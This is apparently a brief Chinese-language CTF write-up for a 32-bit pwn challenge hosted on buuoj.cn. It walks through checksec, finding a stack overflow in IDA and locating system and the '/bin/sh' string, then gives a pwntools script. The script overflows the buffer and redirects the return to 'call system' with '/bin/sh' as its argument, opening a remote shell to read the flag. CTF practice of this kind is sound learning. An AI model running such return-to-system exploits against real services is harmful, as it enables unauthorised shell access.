1.checksec查看
2.ida查看,很显然这里有栈溢出
3.查看栈
4.寻找system和bin/sh
这题没有现成的system("/bin/sh")可以调用,但是有system函数和/bin/sh字符串
所以可以通过溢出修改返回函数为call system位置,并且将栈顶元素修改为/bin/sh所在地址
这样就可以成功执行system("/bin/sh")
5.脚本
from pwn import *
context.log_level='debug'
p=remote("node4.buuoj.cn",26250)
payload=b'a'*136+b'b'*4+p32(0x804849e)+p32(0x804a024)
#填充掉return的地址到call system函数的位置,并将栈顶修改为/bin/sh所在地址
p.send(payload)
p.interactive()
6.获取flag